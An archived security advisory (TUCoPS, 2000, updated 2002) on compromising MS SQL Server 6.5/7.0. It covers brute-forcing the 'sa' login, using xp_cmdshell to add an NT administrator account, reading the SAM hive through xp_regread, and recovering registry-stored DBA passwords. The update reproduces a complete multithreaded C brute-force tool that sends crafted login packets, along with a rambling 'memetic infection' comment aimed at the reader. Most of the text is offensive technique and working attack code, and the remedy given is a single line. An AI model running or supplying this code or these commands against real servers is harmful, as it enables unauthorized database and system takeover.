14th Nov 2000 [SBWID-1652]
COMMAND
MS SQL
SYSTEMS AFFECTED
MS SQL 6.5, 7.0
PROBLEM
'mount ararat blossom' posted following. He released another
paper about SQL hacking. Not sure what you want to get out of
this but basically this paper is intended on breaking merely MS
SQL servers especially versions 6.5 and 7.0 via TCP/IP over the
port 1433. There are not that many remote SQL server exploitation
techniques. However there are some... Note that text in this
advisory is based on Chip Andrews's site regardirn sqlsecurity.
Most of the time MS SQL server runs on TCP port 1433, if not
configured to run on another TCP port. There are some port
scanners which verifies the running service on the open port.
Retina from the folks at eEye can do this favour for us.
SQL Server Network Protocol Libraries & Weaknesses
===================================================
Named Pipes:
- Uses NT SMB ports (TCP 139, UDP 137,138) to communicate. These
are usually blocked in any decent firewall implementation, but
that can be an advantage if all access is internal
- User names, passwords, and data can be sent unencrypted (not
using Integrated Security) for anyone with a packet sniffer to
see IP Protocol:
- If you leave the TCP port with the default value of 1433, you
open yourself up to port scanners that can immediately spot the
SQL server
- Packet sniffer threat. As there is no encryption.
- Client must support NT RPCs; in a heterogeneous environment this
can be trouble
- Uses random TCP ports by default but can be configured to use
fixed ports to ease firewall implementation (see KB article
Q164667).
- Make sure the encryption option is selected; it's not selected
by default
If you can get away with using Integrated (NT) Security over
Named Pipes or Multi-protocol, then do it. If possible, try to
use multi-protocol and enable encryption. If you can't use
either of those, then use IP Sockets, change the default TCP port
to something else, and pray you don’t get a packet sniffer on
your segment. Also, consider using a Web server or COM components
as the business object layer for an application and use a secure
channel between the middle tier and the SQL server. This will
remove some of the client connection issues and allow you to
focus on encapsulation of business logic as well. There are
several third-party products that can encrypt traffic on a
segment - look into them.
Security Modes of SQL 6.5 & 7.0
===============================
The security mode defines how SQL Server will authenticate users
attempting to make use of its services. Check the following
table for a description of these modes and a breakdown of the
differences.
Security Modes SQL Server 6.5 SQL Server 7.0 changes
Standard Logins are defined within SQL Server and given
passwords SQL Server logins are separate from
Windows NT accounts Exclusive Standard Mode
security is not available in SQL Server 7.0
Integrated Use the Security Manager to create SQL logins for
NT Server user accounts Users do not have to
specify a separate login and password when they
connect to SQL Server Passwords are never stored
in applications and never transmitted in plain
text over the network SQL Server gains the
benefits of using NT to authenticate users and
use features such as account expiration and
lockouts Requires Named Pipes or Multi-Protocol
libraries Now called `Windows NT only' mode SQL 7
now supports integrated security across all
network protocol libraries
Only works on NT Windows 95/98 installs do not
support this mode (duh!) Can integrate directly
with NT groups for added ease of administration.
(Make note of the special BUILTIN group for
assigning groups on the local machine).
Mixed Offers the features of Integrated but can fall
back to support clients that cannot establish
trusted connections. Let's face it this mode may
expose you to the weaknesses of both modes.
Tightening the security of both modes is a lot of
work. Now called `SQL Server and Windows NT' mode
Same deal use with caution. Why use a weak
security model if you don't have to? Bottom line:
If you can get away with `Windows NT only' mode,
then use it.
Logging-in is only the first step. Once a user logs in, he or she
must access the individual databases. For this, an entry must
exist in the sysusers table for each database for that user.
Keep a close eye on that “guest” account in your databases and
make sure you don’t inadvertently give someone access to a
database.
Brute-Force Attack
==================
Most databases have some default and well-known passwords.
Moreover, system administrator accounts can not be changed in
many of the commercial databases. "sa" for SQL server and SYBASE,
"sys" for ORACLE can not be renamed. There is no password lockout
available for SQL server. SQL server does not require a strong
password. Due to this facts, it is possible to launch brute-force
password attacks against the database server with nothing to
prevent us from patiently and persistently trying to break into
the server at the highest level access.
Our personnel choice is sqlbf from packetstorm.securify.com. Once
you get the administrative password, the game starts.
System Compromise Using Extended Procedures: (SQL 6.5)
======================================================
Most database systems have powerful features that, while
convenient for DBAs, are also potential backdoors into a database
server's host operating system.
Most of the time, 'sa' account has no password thanks to lazy or
busy system admins. Anyway once we get the password, our ultimate
aim is compromising the underlying operating system, once again
most of the time it is a NT box.
By logging in as 'sa', an intruder has use of the “extended stored
procedures; 'xp_cmdshell', which allows a SQL Server user to run
an operating system command as if that person was running a
command prompt at the server console. As an example, the
following SQL command will add user foo with password bar into
windows NT account and then to the administrators group.
Xp_cmdshell `net user foo bar /ADD'
Xp_cmdshell `net localgroup /ADD Administrators foo'
Now, the unscrupulous intruder is a NT administrator, lets hope
this box is not a domain controller. This simple attack works
because the commands are submitted to the operating system using
the NT account under which the SQL server runs under. By default
this is the “local system” account which is the most powerful
account on the local NT system.
Another good way of compromising NT account is, as every one of
us well knows, reading the sam._ file under winnt/repair/sam._
and cracking this hashed password file with our favorite tool
LophtCrack.
To do this, we will use the extended stored procedure, xp_regread
out of registry. Below is the function do attain sam._ file
Xp_regread HKEY_LOCAL_MACHINE,SECURITYSAMDomainsAccount,F
If the system has applied syskey, which is default in Win2k, then
this approach will be useless. You'd have to be able to upload
other tools, which you may or may not be able to do.
Note that reading the passwords out of registry is something even
the local NT administrator can not do. SQL server allows us to
do this because SQL server by default runs using the "local
system" account.
Luckily we have a tool performing this activity for us. SQLPOKE
can be found from packetstorm tools factory. Take a check.
Local Password Compromise: (SQL 6.5 & 7.0)
==========================================
SA password is stored in clear text within the registry:
HKEY_CURRENT_USERSOFTWAREMicrosoftMSSQLServerSQLEWRegistered ServerSQL 6.5.
- Changing the password leaves residual text from the previous
passwords in the registry
- Changing security mode does not remove password. Entire password
is left with the exception of the first letter:
example: nopassword - opassword
For MS SQL 7.0, we have another vulnerability. In the encryption
used to conceal the password and login ID of a registered SQL
Server user in Enterprise Manager for Microsoft SQL Server 7.0.
When registering a new SQL Server in the Enterprise Manager or
editing the SQL Server registration properties, the login name
that will be used by the Enterprise Manager for the connection
must be specified. If a SQL Server login name is used instead of
a Widows Domain user name and the 'Always prompt for login name
and password' checkbox is not set, the login ID and password are
weakly encrypted and stored in the registry.
When a DBA (database administrator) logs into a workstation with
a roaming profile, the login ID and password are stored in a
registry key. This information is stored as the file NTUSER.DAT
(for Windows NT) or USER.DAT (for Windows 95 or Windows 98) when
the user logs off. An attacker can open this file in a text editor
to view the DBA login ID and password encrypted. An attacker can
reverse this encryption to gain access to the DBA login ID and
password.
Remote and local attackers who acquire the system administrator
password have full control over the database server software as
well as full access to the content and integrity of the database.
The encryption used to conceal the password and login ID of a
registered SQL Server user in Enterprise Manager for SQL Server
7.0 can be reversed. The encryption scheme used is an alphabetic
substitution where each Unicode character in the password is
XOR'ed with a two byte value according to its position in the
string. If the 'Always prompt for login name and password'
checkbox is not set when registering a SQL Server, the login ID
and password is weakly encrypted and stored in the following
registry key:
HKEY_CURRENT_USERSOFTWAREMicrosoftMSSQLServerSQLEWRegistered Server X
By design, the HKEY_CURRENT_USER registry hive is meant to be
available only to the currently logged on user. That is, when a
different Windows NT user logs onto the system, a different copy
of the HKEY_CURRENT_USER registry hive is loaded. In practice,
the HKEY_CURRENT_USER registry hive is saved locally as the file
NTUSER.DAT or USER.DAT when a user logs off. This registry hive
can be opened in Notepad and the encrypted login ID and password
can be easily located. If the DBA has a roaming profile, the
NTUSER.DAT file will be saved on every workstation the DBA logs
into.
Update (14 August 2002)
======
Brute force attack code posted by memetic-engineer :
/*ms sql brute thing found in wild, appears to be by some guy named adam
* No post meme =no post code. Don't sell to anyone please
*ACHTUNG!:
*This text is a neurolinguistic trap, whose mechanism is triggered by
*you at the moment when you subvocalize the words MeMe156, words that
*have now begun to infiltrate your mind in the same way that a computer
*virus might infect an artificially intelligent machine: already the
*bits of phonetic information stored within the words MeMe156 are
*using your neural circuitry to replicate themselves, to catalyze the
*crystalline growth of their own connotative network.
*The words MeMe156 actually germinate via the subsequent metaphor into
*an expanding array of icy tendrils, all of which insinuate themselves
*so deeply into the architecture of your thoughts that the words MeMe
*156 cannot be extricated without uprooting your mind.
*The consequences of this infection are not immediately obvious,
*although you may find yourself beginning to think fleetingly of certain subcultural terms, such as
*ANTI-SEC and WHITE-HAT-HOLOCAUST, which may in turn compel you to think of NEOGNOSTICISM and MEMETICS: the whispered fragments perhaps of some overheard conversation.
*We refer to ourself both as agent, and agency in, on, and about the www. We are symbiotic
*substrain of Darren Wershler-Henry, Genesis P-Orridge, Dawkins, Moritz, and AC's #23 ( forever
*useful in advanced symbiotic binding techniques such as copying-fidelity, fecundity, and
*longevity). We refer to other sub.systems, and in doing so, interweave their memetic approaches
*with our own. From original /v23/substrain.virulent.excess, our growth has propagated exponentially
*and has begun to infect the highest levels of INFOSEC, press, radio, and film.
*We refer to musical works, "Deer Dance" by SOAD, "Karma Police" by Radiohead and "Canon in D" by Johan Pachelbel.
*We refer to literary works, "Book of Five Rings",by Miyamoto Musashi, "Secret Societies and
*Subversive Movements" by Nesta Webster, and "How to Think like Leonardo Da Vinci: Seven Steps to Genius Every Day" by Michael J. Gelb ( Substrain /How.to.Think.Like.Machiavelli in incubation stages).
* We refer to the artistic work of "Obey Giant" and "Billboard Liberation Front"
*We refer to the following fields of study:
*Complexity theory and post-structuralism;
*Memetics as an integrative field for the study of ALL fields;
*Autology as a means to community cohesion and survival.
*We refer to a self-propagating system of TAZ's (Temporary Autonomous Zones), within related, and
*non-related mailing lists, IRC channels, and FreeNets which are working in loose alliance to affect
*and direct the post-millenial attractor, utilizing the principle of auto.prophecy. We compel
*approach toward TAZ's which concentrate on NEGentropic self-orginization rather than the deliberate
*hastening of maximal entropy.
* W/e refer to and admit our viral precursors, to which we are anti-genic, and posit our decendants
*in struggle to fix the subsequent global attractor. We have an expiration date. Which we find VERY
*attractive.
* We refer to multiple sub.strains of ourself, many of which are contradictory: We refer toagain to
*the ultimate resistance of NEGentropic memetic antibodies which, once triggered by this antigen,
*must be responsible for isolating entropic memes.
* We refer to all signifiers, all that is signified, and the resultant significance on both global
*and local scales.
*We refer to that which we contain, and that in which we are contained;
*We refer now to you.
*When you have finished reading the remaining nineteen words, this
*process of irreversible infection will be completed, and you will
*depart, believing yourself largely unaffected by this process.
*MeMe156/agent.agency.08.13.02
#include <stdio.h>
#include <sys/time.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <pthread.h>
#define USERNAME_OFF 0x27
#define PASSWORD_LEN1_PAD 0x45
#define PASSWORD_TXT1 0x46
#define PASSWORD_LEN_REAL1 0x64
#define PASSWORD_LEN_REAL2 0xd3
#define PASSWORD_TXT2 0xd4
#define PASSWORD_LEN_PLUS2 0x1d1
#define REPLY_TIMEOUT 5
#define MYNULL "%%NULL%%"
#include "libInet.c"
struct super_mssql_force
{
u_long ip;
u_long port;
FILE *login_pass;
int sport;
};
* Oh my! Tricky French comments ensue..
char fidel_packet[] =
"\x2\x0\x2\x0\x0\x0\x2\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
/* | ici start l'username */
"\x00\x00\x00\x00\x00\x00\x00\x00\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
/* | longeur du passe suivi du pass atention pading! */
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x00\x00\x00\x00\x00\x00\x00\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
/* | longeur du pass real ou pad je sais pas */
"\x00\x30\x30\x30\x30\x30\x34\x31\x38\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x60\x8\x90\x49\x74\x8\x3\x1\x6\xa\x9\x1\x1\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x20\x49\x53"
"\x51\x4c\x2f\x77\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x10\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
/* | longeur du pass sans pad et pass */
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x00\x00\x00\x00\x00\x00\x00\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
/*****************| <== longeur du pass + 2 ***********/
"\x0\x0\x0\x0\x0\x00\x4\x2\x0\x0\x4d\x53\x44\x42\x4c\x49\x42\x0\x0\x0"
"\x7\x6\x0\x0\x0\x0\xd\x11\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x1\x0\x4c\x0\x0\x3\x0"
"\x0\x0\x0\x0\x0\x0\x0\x1\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0"
"\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x30\x30\x30\x0\x0\x0\x3"
"\x0\x0\x0\x0\x0\x0\x0\x0";
char *
tstrstr(char *buff,char *w,int size)
{
register int i;
register int a;
int d;
int z;
int ws = strlen (w);
for(i=0;i<size;i++)
{
z=i;
d=0;
for (a=0;a<strlen(w);a++) {
if(i+a >size)return(NULL);
if (buff[z++] == w[a]) d++;
else break;
}
if (d == ws)
return( (buff+i) );
}
return(NULL);
}
mssql_attack (struct super_mssql_force * mssql)
{
char user[255];
char pass[255];
char tmp[4018];
char * real_pkt;
FILE * F;
int s;
int r;
while (1)
{
s = connect_ip (mssql->ip, mssql->port, mssql->sport);
if (s < 0)
{
return;
}
if (feof (mssql->login_pass))
{
if (s)
close (s);
return (0);
}
memset (user,0,sizeof(user));
memset (pass,0,sizeof(pass));
fscanf (mssql->login_pass, "%s%s\n", &user, &pass);
if (strcmp (pass,MYNULL) == 0)
memset (pass,0,sizeof(pass));
real_pkt = calloc (1, sizeof (fidel_packet)-1);
memcpy (real_pkt, fidel_packet, sizeof (fidel_packet)-1);
strcpy ( (real_pkt + USERNAME_OFF), user);
* (real_pkt + PASSWORD_LEN1_PAD ) = strlen (pass) + 2;
strcpy ( (real_pkt + PASSWORD_TXT1), pass);
* (real_pkt + PASSWORD_LEN_REAL1) = strlen (pass);
* (real_pkt + PASSWORD_LEN_REAL2) = strlen (pass);
strcpy ( (real_pkt + PASSWORD_TXT2), pass);
* (real_pkt + PASSWORD_LEN_PLUS2) = strlen (pass) + 2;
if (write (s,real_pkt,sizeof(fidel_packet)) < 0)
{
perror ("write");
return;
}
if ( (r = read (s,tmp,sizeof (tmp)) ) < 0)
{
perror ("read");
return;
}
if (tstrstr (tmp,"Login failed",r))
{
fprintf (stderr,"login failed for %s/%s\n",user,pass);
close (s);
continue;
}
printf ("%s:%s\n",user,pass);
close (s);
continue;
}
}
usage (char * name)
{
printf ("ADAM's Ethical Crowbar! \n");
printf ("never forget your crowbar !\n");
printf ("%s <host> <port> -t <thread num> -s <src port>\n",name);
exit (0);
}
main (int argc, char **argv)
{
pthread_t **pthread_id;
int t_num = 3;
int i;
struct super_mssql_force mssql;
memset (&mssql, 0, sizeof (mssql));
if (argc < 3)
usage (argv[0]);
mssql.ip = host2ip (argv[1]);
mssql.port = atoi (argv[2]);
/* we ignore Broken Pipe ! */
signal (13, SIG_IGN);
if (argc > 3)
{
for (i = 3; i < argc; i++)
{
if (argv[i][0] == '-')
switch (argv[i][1])
{
case 't':
t_num = atoi (argv[i + 1]);
i++;
break;
case 's':
mssql.sport = atoi (argv[i + 1]);
i++;
break;
}
}
}
/* we read login password from the stdin */
mssql.login_pass = stdin;
/* only one socket can bind at the same src port */
if (mssql.sport)
{
t_num = 1;
fprintf (stderr,
"*** WARNING WHEN YOU USE THE SRC THREAD NUM ARE SET TO 1 ***\n");
}
fprintf (stderr, "mssql sport %i\n", mssql.sport);
fprintf (stderr, "thread %i\n", t_num);
/* if the user dont know how try the mssql allow we count it for him! */
pthread_id = calloc (1, sizeof (pthread_t *) * t_num);
for (i = 0; i < t_num; i++)
pthread_id[i] = calloc (1, sizeof (pthread_t));
for (i = 0; i < t_num; i++)
pthread_create (pthread_id[i], NULL, (void *(*)()) mssql_attack, &mssql);
for (i = 0; i < t_num; i++)
pthread_join (*pthread_id[i], NULL);
}
SOLUTION
Watch your servers in wild.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986- AOH